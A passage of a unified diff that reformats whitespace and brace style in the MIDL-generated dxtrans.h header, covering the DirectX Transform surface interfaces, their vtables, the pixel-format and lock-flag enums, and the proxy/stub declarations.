STDMETHODCALLTYPE *SetFillColor )( + IDXSurfaceModifier * This, + /* [in] */ DXSAMPLE Color); + + HRESULT ( STDMETHODCALLTYPE *GetFillColor )( + IDXSurfaceModifier * This, + /* [out] */ DXSAMPLE *pColor); + + HRESULT ( STDMETHODCALLTYPE *SetBounds )( + IDXSurfaceModifier * This, + /* [in] */ const DXBNDS *pBounds); + + HRESULT ( STDMETHODCALLTYPE *SetBackground )( + IDXSurfaceModifier * This, + /* [in] */ IDXSurface *pSurface); + + HRESULT ( STDMETHODCALLTYPE *GetBackground )( + IDXSurfaceModifier * This, + /* [out] */ IDXSurface **ppSurface); + + HRESULT ( STDMETHODCALLTYPE *SetCompositeOperation )( + IDXSurfaceModifier * This, + /* [in] */ DXSURFMODCOMPOP CompOp); + + HRESULT ( STDMETHODCALLTYPE *GetCompositeOperation )( + IDXSurfaceModifier * This, + /* [out] */ DXSURFMODCOMPOP *pCompOp); + + HRESULT ( STDMETHODCALLTYPE *SetForeground )( + IDXSurfaceModifier * This, + /* [in] */ IDXSurface *pSurface, + /* [in] */ BOOL bTile, + /* [in] */ const POINT *pOrigin); + + HRESULT ( STDMETHODCALLTYPE *GetForeground )( + IDXSurfaceModifier * This, + /* [out] */ IDXSurface **ppSurface, + /* [out] */ BOOL *pbTile, + /* [out] */ POINT *pOrigin); + + HRESULT ( STDMETHODCALLTYPE *SetOpacity )( + IDXSurfaceModifier * This, + /* [in] */ float Opacity); + + HRESULT ( STDMETHODCALLTYPE *GetOpacity )( + IDXSurfaceModifier * This, + /* [out] */ float *pOpacity); + + HRESULT ( STDMETHODCALLTYPE *SetLookup )( + IDXSurfaceModifier * This, + /* [in] */ IDXLookupTable *pLookupTable); + + HRESULT ( STDMETHODCALLTYPE *GetLookup )( + IDXSurfaceModifier * This, + /* [out] */ IDXLookupTable **ppLookupTable); + + END_INTERFACE +} IDXSurfaceModifierVtbl; + +interface IDXSurfaceModifier +{ + CONST_VTBL struct IDXSurfaceModifierVtbl *lpVtbl; +}; - interface IDXSurfaceModifier - { - CONST_VTBL struct IDXSurfaceModifierVtbl *lpVtbl; - }; - #ifdef COBJMACROS @@ -2306,7 +2308,7 @@ EXTERN_C const IID IID_IDXSurfaceModifier; -HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_SetFillColor_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_SetFillColor_Proxy( IDXSurfaceModifier * This, /* [in] */ DXSAMPLE Color); @@ -2318,7 +2320,7 @@ void __RPC_STUB IDXSurfaceModifier_SetFillColor_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_GetFillColor_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_GetFillColor_Proxy( IDXSurfaceModifier * This, /* [out] */ DXSAMPLE *pColor); @@ -2330,7 +2332,7 @@ void __RPC_STUB IDXSurfaceModifier_GetFillColor_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_SetBounds_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_SetBounds_Proxy( IDXSurfaceModifier * This, /* [in] */ const DXBNDS *pBounds); @@ -2342,7 +2344,7 @@ void __RPC_STUB IDXSurfaceModifier_SetBounds_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_SetBackground_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_SetBackground_Proxy( IDXSurfaceModifier * This, /* [in] */ IDXSurface *pSurface); @@ -2354,7 +2356,7 @@ void __RPC_STUB IDXSurfaceModifier_SetBackground_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_GetBackground_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_GetBackground_Proxy( IDXSurfaceModifier * This, /* [out] */ IDXSurface **ppSurface); @@ -2366,7 +2368,7 @@ void __RPC_STUB IDXSurfaceModifier_GetBackground_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_SetCompositeOperation_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_SetCompositeOperation_Proxy( IDXSurfaceModifier * This, /* [in] */ DXSURFMODCOMPOP CompOp); @@ -2378,7 +2380,7 @@ void __RPC_STUB IDXSurfaceModifier_SetCompositeOperation_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_GetCompositeOperation_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_GetCompositeOperation_Proxy( IDXSurfaceModifier * This, /* [out] */ DXSURFMODCOMPOP *pCompOp); @@ -2390,7 +2392,7 @@ void __RPC_STUB IDXSurfaceModifier_GetCompositeOperation_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_SetForeground_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_SetForeground_Proxy( IDXSurfaceModifier * This, /* [in] */ IDXSurface *pSurface, /* [in] */ BOOL bTile, @@ -2404,7 +2406,7 @@ void __RPC_STUB IDXSurfaceModifier_SetForeground_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_GetForeground_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_GetForeground_Proxy( IDXSurfaceModifier * This, /* [out] */ IDXSurface **ppSurface, /* [out] */ BOOL *pbTile, @@ -2418,7 +2420,7 @@ void __RPC_STUB IDXSurfaceModifier_GetForeground_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_SetOpacity_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_SetOpacity_Proxy( IDXSurfaceModifier * This, /* [in] */ float Opacity); @@ -2430,7 +2432,7 @@ void __RPC_STUB IDXSurfaceModifier_SetOpacity_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_GetOpacity_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_GetOpacity_Proxy( IDXSurfaceModifier * This, /* [out] */ float *pOpacity); @@ -2442,7 +2444,7 @@ void __RPC_STUB IDXSurfaceModifier_GetOpacity_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_SetLookup_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_SetLookup_Proxy( IDXSurfaceModifier * This, /* [in] */ IDXLookupTable *pLookupTable); @@ -2454,7 +2456,7 @@ void __RPC_STUB IDXSurfaceModifier_SetLookup_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_GetLookup_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_GetLookup_Proxy( IDXSurfaceModifier * This, /* [out] */ IDXLookupTable **ppLookupTable); @@ -2471,53 +2473,53 @@ void __RPC_STUB IDXSurfaceModifier_GetLookup_Stub( /* interface __MIDL_itf_dxtrans_0267 */ -/* [local] */ +/* [local] */ -typedef -enum DXSAMPLEFORMATENUM - { DXPF_FLAGSMASK = 0xffff0000, - DXPF_NONPREMULT = 0x10000, - DXPF_TRANSPARENCY = 0x20000, - DXPF_TRANSLUCENCY = 0x40000, - DXPF_2BITERROR = 0x200000, - DXPF_3BITERROR = 0x300000, - DXPF_4BITERROR = 0x400000, - DXPF_5BITERROR = 0x500000, - DXPF_ERRORMASK = 0x700000, - DXPF_NONSTANDARD = 0, - DXPF_PMARGB32 = 1 | DXPF_TRANSPARENCY | DXPF_TRANSLUCENCY, - DXPF_ARGB32 = 2 | DXPF_NONPREMULT | DXPF_TRANSPARENCY | DXPF_TRANSLUCENCY, - DXPF_ARGB4444 = 3 | DXPF_NONPREMULT | DXPF_TRANSPARENCY | DXPF_TRANSLUCENCY | DXPF_4BITERROR, - DXPF_A8 = 4 | DXPF_TRANSPARENCY | DXPF_TRANSLUCENCY, - DXPF_RGB32 = 5, - DXPF_RGB24 = 6, - DXPF_RGB565 = 7 | DXPF_3BITERROR, - DXPF_RGB555 = 8 | DXPF_3BITERROR, - DXPF_RGB8 = 9 | DXPF_5BITERROR, - DXPF_ARGB1555 = 10 | DXPF_TRANSPARENCY | DXPF_3BITERROR, - DXPF_RGB32_CK = DXPF_RGB32 | DXPF_TRANSPARENCY, - DXPF_RGB24_CK = DXPF_RGB24 | DXPF_TRANSPARENCY, - DXPF_RGB555_CK = DXPF_RGB555 | DXPF_TRANSPARENCY, - DXPF_RGB565_CK = DXPF_RGB565 | DXPF_TRANSPARENCY, - DXPF_RGB8_CK = DXPF_RGB8 | DXPF_TRANSPARENCY - } DXSAMPLEFORMATENUM; +typedef +enum DXSAMPLEFORMATENUM { + DXPF_FLAGSMASK = 0xffff0000, + DXPF_NONPREMULT = 0x10000, + DXPF_TRANSPARENCY = 0x20000, + DXPF_TRANSLUCENCY = 0x40000, + DXPF_2BITERROR = 0x200000, + DXPF_3BITERROR = 0x300000, + DXPF_4BITERROR = 0x400000, + DXPF_5BITERROR = 0x500000, + DXPF_ERRORMASK = 0x700000, + DXPF_NONSTANDARD = 0, + DXPF_PMARGB32 = 1 | DXPF_TRANSPARENCY | DXPF_TRANSLUCENCY, + DXPF_ARGB32 = 2 | DXPF_NONPREMULT | DXPF_TRANSPARENCY | DXPF_TRANSLUCENCY, + DXPF_ARGB4444 = 3 | DXPF_NONPREMULT | DXPF_TRANSPARENCY | DXPF_TRANSLUCENCY | DXPF_4BITERROR, + DXPF_A8 = 4 | DXPF_TRANSPARENCY | DXPF_TRANSLUCENCY, + DXPF_RGB32 = 5, + DXPF_RGB24 = 6, + DXPF_RGB565 = 7 | DXPF_3BITERROR, + DXPF_RGB555 = 8 | DXPF_3BITERROR, + DXPF_RGB8 = 9 | DXPF_5BITERROR, + DXPF_ARGB1555 = 10 | DXPF_TRANSPARENCY | DXPF_3BITERROR, + DXPF_RGB32_CK = DXPF_RGB32 | DXPF_TRANSPARENCY, + DXPF_RGB24_CK = DXPF_RGB24 | DXPF_TRANSPARENCY, + DXPF_RGB555_CK = DXPF_RGB555 | DXPF_TRANSPARENCY, + DXPF_RGB565_CK = DXPF_RGB565 | DXPF_TRANSPARENCY, + DXPF_RGB8_CK = DXPF_RGB8 | DXPF_TRANSPARENCY +} DXSAMPLEFORMATENUM; -typedef -enum DXLOCKSURF - { DXLOCKF_READ = 0, - DXLOCKF_READWRITE = 1 << 0, - DXLOCKF_EXISTINGINFOONLY = 1 << 1, - DXLOCKF_WANTRUNINFO = 1 << 2, - DXLOCKF_NONPREMULT = 1 << 16, - DXLOCKF_VALIDFLAGS = DXLOCKF_READWRITE | DXLOCKF_EXISTINGINFOONLY | DXLOCKF_WANTRUNINFO | DXLOCKF_NONPREMULT - } DXLOCKSURF; +typedef +enum DXLOCKSURF { + DXLOCKF_READ = 0, + DXLOCKF_READWRITE = 1 << 0, + DXLOCKF_EXISTINGINFOONLY = 1 << 1, + DXLOCKF_WANTRUNINFO = 1 << 2, + DXLOCKF_NONPREMULT = 1 << 16, + DXLOCKF_VALIDFLAGS = DXLOCKF_READWRITE | DXLOCKF_EXISTINGINFOONLY | DXLOCKF_WANTRUNINFO | DXLOCKF_NONPREMULT +} DXLOCKSURF; -typedef -enum DXSURFSTATUS - { DXSURF_TRANSIENT = 1 << 0, - DXSURF_READONLY = 1 << 1, - DXSURF_VALIDFLAGS = DXSURF_TRANSIENT | DXSURF_READONLY - } DXSURFSTATUS; +typedef +enum DXSURFSTATUS { + DXSURF_TRANSIENT = 1 << 0, + DXSURF_READONLY = 1 << 1, + DXSURF_VALIDFLAGS = DXSURF_TRANSIENT | DXSURF_READONLY +} DXSURFSTATUS; @@ -2528,154 +2530,152 @@ extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0267_v0_0_s_ifspec; #define __IDXSurface_INTERFACE_DEFINED__ /* interface IDXSurface */ -/* [local][unique][helpstring][uuid][object] */ +/* [local][unique][helpstring][uuid][object] */ EXTERN_C const IID IID_IDXSurface; #if defined(__cplusplus) && !defined(CINTERFACE) - - MIDL_INTERFACE("B39FD73F-E139-11d1-9065-00C04FD9189D") - IDXSurface : public IDXBaseObject - { - public: - virtual HRESULT STDMETHODCALLTYPE GetPixelFormat( - /* [out] */ GUID *pFormatID, - /* [out] */ DXSAMPLEFORMATENUM *pSampleFormatEnum) = 0; - - virtual HRESULT STDMETHODCALLTYPE GetBounds( - /* [out] */ DXBNDS *pBounds) = 0; - - virtual HRESULT STDMETHODCALLTYPE GetStatusFlags( - /* [out] */ DWORD *pdwStatusFlags) = 0; - - virtual HRESULT STDMETHODCALLTYPE SetStatusFlags( - /* [in] */ DWORD dwStatusFlags) = 0; - - virtual HRESULT STDMETHODCALLTYPE LockSurface( - /* [in] */ const DXBNDS *pBounds, - /* [in] */ ULONG ulTimeOut, - /* [in] */ DWORD dwFlags, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppPointer, - /* [out] */ ULONG *pulGenerationId) = 0; - - virtual HRESULT STDMETHODCALLTYPE GetDirectDrawSurface( - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppSurface) = 0; - - virtual HRESULT STDMETHODCALLTYPE GetColorKey( - DXSAMPLE *pColorKey) = 0; - - virtual HRESULT STDMETHODCALLTYPE SetColorKey( - DXSAMPLE ColorKey) = 0; - - virtual HRESULT STDMETHODCALLTYPE LockSurfaceDC( - /* [in] */ const DXBNDS *pBounds, - /* [in] */ ULONG ulTimeOut, - /* [in] */ DWORD dwFlags, - /* [out] */ IDXDCLock **ppDCLock) = 0; - - virtual HRESULT STDMETHODCALLTYPE SetAppData( - DWORD_PTR dwAppData) = 0; - - virtual HRESULT STDMETHODCALLTYPE GetAppData( - DWORD_PTR *pdwAppData) = 0; - - }; - + +MIDL_INTERFACE("B39FD73F-E139-11d1-9065-00C04FD9189D") +IDXSurface : public IDXBaseObject { +public: + virtual HRESULT STDMETHODCALLTYPE GetPixelFormat( + /* [out] */ GUID *pFormatID, + /* [out] */ DXSAMPLEFORMATENUM *pSampleFormatEnum) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetBounds( + /* [out] */ DXBNDS *pBounds) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetStatusFlags( + /* [out] */ DWORD *pdwStatusFlags) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetStatusFlags( + /* [in] */ DWORD dwStatusFlags) = 0; + + virtual HRESULT STDMETHODCALLTYPE LockSurface( + /* [in] */ const DXBNDS *pBounds, + /* [in] */ ULONG ulTimeOut, + /* [in] */ DWORD dwFlags, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppPointer, + /* [out] */ ULONG *pulGenerationId) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetDirectDrawSurface( + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppSurface) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetColorKey( + DXSAMPLE *pColorKey) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetColorKey( + DXSAMPLE ColorKey) = 0; + + virtual HRESULT STDMETHODCALLTYPE LockSurfaceDC( + /* [in] */ const DXBNDS *pBounds, + /* [in] */ ULONG ulTimeOut, + /* [in] */ DWORD dwFlags, + /* [out] */ IDXDCLock **ppDCLock) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetAppData( + DWORD_PTR dwAppData) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetAppData( + DWORD_PTR *pdwAppData) = 0; + +}; + #else /* C style interface */ - typedef struct IDXSurfaceVtbl - { - BEGIN_INTERFACE - - HRESULT ( STDMETHODCALLTYPE *QueryInterface )( - IDXSurface * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppvObject); - - ULONG ( STDMETHODCALLTYPE *AddRef )( - IDXSurface * This); - - ULONG ( STDMETHODCALLTYPE *Release )( - IDXSurface * This); - - HRESULT ( STDMETHODCALLTYPE *GetGenerationId )( - IDXSurface * This, - /* [out] */ ULONG *pID); - - HRESULT ( STDMETHODCALLTYPE *IncrementGenerationId )( - IDXSurface * This, - /* [in] */ BOOL bRefresh); - - HRESULT ( STDMETHODCALLTYPE *GetObjectSize )( - IDXSurface * This, - /* [out] */ ULONG *pcbSize); - - HRESULT ( STDMETHODCALLTYPE *GetPixelFormat )( - IDXSurface * This, - /* [out] */ GUID *pFormatID, - /* [out] */ DXSAMPLEFORMATENUM *pSampleFormatEnum); - - HRESULT ( STDMETHODCALLTYPE *GetBounds )( - IDXSurface * This, - /* [out] */ DXBNDS *pBounds); - - HRESULT ( STDMETHODCALLTYPE *GetStatusFlags )( - IDXSurface * This, - /* [out] */ DWORD *pdwStatusFlags); - - HRESULT ( STDMETHODCALLTYPE *SetStatusFlags )( - IDXSurface * This, - /* [in] */ DWORD dwStatusFlags); - - HRESULT ( STDMETHODCALLTYPE *LockSurface )( - IDXSurface * This, - /* [in] */ const DXBNDS *pBounds, - /* [in] */ ULONG ulTimeOut, - /* [in] */ DWORD dwFlags, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppPointer, - /* [out] */ ULONG *pulGenerationId); - - HRESULT ( STDMETHODCALLTYPE *GetDirectDrawSurface )( - IDXSurface * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppSurface); - - HRESULT ( STDMETHODCALLTYPE *GetColorKey )( - IDXSurface * This, - DXSAMPLE *pColorKey); - - HRESULT ( STDMETHODCALLTYPE *SetColorKey )( - IDXSurface * This, - DXSAMPLE ColorKey); - - HRESULT ( STDMETHODCALLTYPE *LockSurfaceDC )( - IDXSurface * This, - /* [in] */ const DXBNDS *pBounds, - /* [in] */ ULONG ulTimeOut, - /* [in] */ DWORD dwFlags, - /* [out] */ IDXDCLock **ppDCLock); - - HRESULT ( STDMETHODCALLTYPE *SetAppData )( - IDXSurface * This, - DWORD_PTR dwAppData); - - HRESULT ( STDMETHODCALLTYPE *GetAppData )( - IDXSurface * This, - DWORD_PTR *pdwAppData); - - END_INTERFACE - } IDXSurfaceVtbl; +typedef struct IDXSurfaceVtbl { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXSurface * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXSurface * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXSurface * This); + + HRESULT ( STDMETHODCALLTYPE *GetGenerationId )( + IDXSurface * This, + /* [out] */ ULONG *pID); + + HRESULT ( STDMETHODCALLTYPE *IncrementGenerationId )( + IDXSurface * This, + /* [in] */ BOOL bRefresh); + + HRESULT ( STDMETHODCALLTYPE *GetObjectSize )( + IDXSurface * This, + /* [out] */ ULONG *pcbSize); + + HRESULT ( STDMETHODCALLTYPE *GetPixelFormat )( + IDXSurface * This, + /* [out] */ GUID *pFormatID, + /* [out] */ DXSAMPLEFORMATENUM *pSampleFormatEnum); + + HRESULT ( STDMETHODCALLTYPE *GetBounds )( + IDXSurface * This, + /* [out] */ DXBNDS *pBounds); + + HRESULT ( STDMETHODCALLTYPE *GetStatusFlags )( + IDXSurface * This, + /* [out] */ DWORD *pdwStatusFlags); + + HRESULT ( STDMETHODCALLTYPE *SetStatusFlags )( + IDXSurface * This, + /* [in] */ DWORD dwStatusFlags); + + HRESULT ( STDMETHODCALLTYPE *LockSurface )( + IDXSurface * This, + /* [in] */ const DXBNDS *pBounds, + /* [in] */ ULONG ulTimeOut, + /* [in] */ DWORD dwFlags, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppPointer, + /* [out] */ ULONG *pulGenerationId); + + HRESULT ( STDMETHODCALLTYPE *GetDirectDrawSurface )( + IDXSurface * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppSurface); + + HRESULT ( STDMETHODCALLTYPE *GetColorKey )( + IDXSurface * This, + DXSAMPLE *pColorKey); + + HRESULT ( STDMETHODCALLTYPE *SetColorKey )( + IDXSurface * This, + DXSAMPLE ColorKey); + + HRESULT ( STDMETHODCALLTYPE *LockSurfaceDC )( + IDXSurface * This, + /* [in] */ const DXBNDS *pBounds, + /* [in] */ ULONG ulTimeOut, + /* [in] */ DWORD dwFlags, + /* [out] */ IDXDCLock **ppDCLock); + + HRESULT ( STDMETHODCALLTYPE *SetAppData )( + IDXSurface * This, + DWORD_PTR dwAppData); + + HRESULT ( STDMETHODCALLTYPE *GetAppData )( + IDXSurface * This, + DWORD_PTR *pdwAppData); + + END_INTERFACE +} IDXSurfaceVtbl; + +interface IDXSurface +{ + CONST_VTBL struct IDXSurfaceVtbl *lpVtbl; +}; - interface IDXSurface - { - CONST_VTBL struct IDXSurfaceVtbl *lpVtbl; - }; - #ifdef COBJMACROS @@ -2740,7 +2740,7 @@ EXTERN_C const IID IID_IDXSurface; -HRESULT STDMETHODCALLTYPE IDXSurface_GetPixelFormat_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurface_GetPixelFormat_Proxy( IDXSurface * This, /* [out] */ GUID *pFormatID, /* [out] */ DXSAMPLEFORMATENUM *pSampleFormatEnum); @@ -2753,7 +2753,7 @@ void __RPC_STUB IDXSurface_GetPixelFormat_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurface_GetBounds_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurface_GetBounds_Proxy( IDXSurface * This, /* [out] */ DXBNDS *pBounds); @@ -2765,7 +2765,7 @@ void __RPC_STUB IDXSurface_GetBounds_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurface_GetStatusFlags_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurface_GetStatusFlags_Proxy( IDXSurface * This, /* [out] */ DWORD *pdwStatusFlags); @@ -2777,7 +2777,7 @@ void __RPC_STUB IDXSurface_GetStatusFlags_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurface_SetStatusFlags_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurface_SetStatusFlags_Proxy( IDXSurface * This, /* [in] */ DWORD dwStatusFlags); @@ -2789,7 +2789,7 @@ void __RPC_STUB IDXSurface_SetStatusFlags_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurface_LockSurface_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurface_LockSurface_Proxy( IDXSurface * This, /* [in] */ const DXBNDS *pBounds, /* [in] */ ULONG ulTimeOut, @@ -2806,7 +2806,7 @@ void __RPC_STUB IDXSurface_LockSurface_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurface_GetDirectDrawSurface_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurface_GetDirectDrawSurface_Proxy( IDXSurface * This, /* [in] */ REFIID riid, /* [iid_is][out] */ void **ppSurface); @@ -2819,7 +2819,7 @@ void __RPC_STUB IDXSurface_GetDirectDrawSurface_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurface_GetColorKey_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurface_GetColorKey_Proxy( IDXSurface * This, DXSAMPLE *pColorKey); @@ -2831,7 +2831,7 @@ void __RPC_STUB IDXSurface_GetColorKey_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurface_SetColorKey_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurface_SetColorKey_Proxy( IDXSurface * This, DXSAMPLE ColorKey); @@ -2843,7 +2843,7 @@ void __RPC_STUB IDXSurface_SetColorKey_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurface_LockSurfaceDC_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurface_LockSurfaceDC_Proxy( IDXSurface * This, /* [in] */ const DXBNDS *pBounds, /* [in] */ ULONG ulTimeOut, @@ -2858,7 +2858,7 @@ void __RPC_STUB IDXSurface_LockSurfaceDC_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurface_SetAppData_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurface_SetAppData_Proxy( IDXSurface * This, DWORD_PTR dwAppData); @@ -2870,7 +2870,7 @@ void __RPC_STUB IDXSurface_SetAppData_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurface_GetAppData_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurface_GetAppData_Proxy( IDXSurface * This, DWORD_PTR *pdwAppData); @@ -2890,60 +2890,58 @@ void __RPC_STUB IDXSurface_GetAppData_Stub( #define __IDXSurfaceInit_INTERFACE_DEFINED__ /* interface IDXSurfaceInit */ -/* [local][unique][helpstring][uuid][object] */ +/* [local][unique][helpstring][uuid][object] */ EXTERN_C const IID IID_IDXSurfaceInit; #if defined(__cplusplus) && !defined(CINTERFACE) - - MIDL_INTERFACE("9EA3B639-C37D-11d1-905E-00C04FD9189D") - IDXSurfaceInit : public IUnknown - { - public: - virtual HRESULT STDMETHODCALLTYPE InitSurface( - /* [in] */ IUnknown *pDirectDraw, - /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, - /* [in] */ const GUID *pFormatID, - /* [in] */ const DXBNDS *pBounds, - /* [in] */ DWORD dwFlags) = 0; - - }; - + +MIDL_INTERFACE("9EA3B639-C37D-11d1-905E-00C04FD9189D") +IDXSurfaceInit : public IUnknown { +public: + virtual HRESULT STDMETHODCALLTYPE InitSurface( + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pFormatID, + /* [in] */ const DXBNDS *pBounds, + /* [in] */ DWORD dwFlags) = 0; + +}; + #else /* C style interface */ - typedef struct IDXSurfaceInitVtbl - { - BEGIN_INTERFACE - - HRESULT ( STDMETHODCALLTYPE *QueryInterface )( - IDXSurfaceInit * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppvObject); - - ULONG ( STDMETHODCALLTYPE *AddRef )( - IDXSurfaceInit * This); - - ULONG ( STDMETHODCALLTYPE *Release )( - IDXSurfaceInit * This); - - HRESULT ( STDMETHODCALLTYPE *InitSurface )( - IDXSurfaceInit * This, - /* [in] */ IUnknown *pDirectDraw, - /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, - /* [in] */ const GUID *pFormatID, - /* [in] */ const DXBNDS *pBounds, - /* [in] */ DWORD dwFlags); - - END_INTERFACE - } IDXSurfaceInitVtbl; +typedef struct IDXSurfaceInitVtbl { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXSurfaceInit * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXSurfaceInit * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXSurfaceInit * This); + + HRESULT ( STDMETHODCALLTYPE *InitSurface )( + IDXSurfaceInit * This, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pFormatID, + /* [in] */ const DXBNDS *pBounds, + /* [in] */ DWORD dwFlags); + + END_INTERFACE +} IDXSurfaceInitVtbl; + +interface IDXSurfaceInit +{ + CONST_VTBL struct IDXSurfaceInitVtbl *lpVtbl; +}; - interface IDXSurfaceInit - { - CONST_VTBL struct IDXSurfaceInitVtbl *lpVtbl; - }; - #ifdef COBJMACROS @@ -2968,7 +2966,7 @@ EXTERN_C const IID IID_IDXSurfaceInit; -HRESULT STDMETHODCALLTYPE IDXSurfaceInit_InitSurface_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurfaceInit_InitSurface_Proxy( IDXSurfaceInit * This, /* [in] */ IUnknown *pDirectDraw, /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, @@ -2992,71 +2990,69 @@ void __RPC_STUB IDXSurfaceInit_InitSurface_Stub( #define __IDXARGBSurfaceInit_INTERFACE_DEFINED__ /* interface IDXARGBSurfaceInit */ -/* [local][unique][helpstring][uuid][object] */ +/* [local][unique][helpstring][uuid][object] */ EXTERN_C const IID IID_IDXARGBSurfaceInit; #if defined(__cplusplus) && !defined(CINTERFACE) - - MIDL_INTERFACE("9EA3B63A-C37D-11d1-905E-00C04FD9189D") - IDXARGBSurfaceInit : public IDXSurfaceInit - { - public: - virtual HRESULT STDMETHODCALLTYPE InitFromDDSurface( - /* [in] */ IUnknown *pDDrawSurface, - /* [in] */ const GUID *pFormatID, - /* [in] */ DWORD dwFlags) = 0; - - virtual HRESULT STDMETHODCALLTYPE InitFromRawSurface( - /* [in] */ IDXRawSurface *pRawSurface) = 0; - - }; - + +MIDL_INTERFACE("9EA3B63A-C37D-11d1-905E-00C04FD9189D") +IDXARGBSurfaceInit : public IDXSurfaceInit { +public: + virtual HRESULT STDMETHODCALLTYPE InitFromDDSurface( + /* [in] */ IUnknown *pDDrawSurface, + /* [in] */ const GUID *pFormatID, + /* [in] */ DWORD dwFlags) = 0; + + virtual HRESULT STDMETHODCALLTYPE InitFromRawSurface( + /* [in] */ IDXRawSurface *pRawSurface) = 0; + +}; + #else /* C style interface */ - typedef struct IDXARGBSurfaceInitVtbl - { - BEGIN_INTERFACE - - HRESULT ( STDMETHODCALLTYPE *QueryInterface )( - IDXARGBSurfaceInit * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppvObject); - - ULONG ( STDMETHODCALLTYPE *AddRef )( - IDXARGBSurfaceInit * This); - - ULONG ( STDMETHODCALLTYPE *Release )( - IDXARGBSurfaceInit * This); - - HRESULT ( STDMETHODCALLTYPE *InitSurface )( - IDXARGBSurfaceInit * This, - 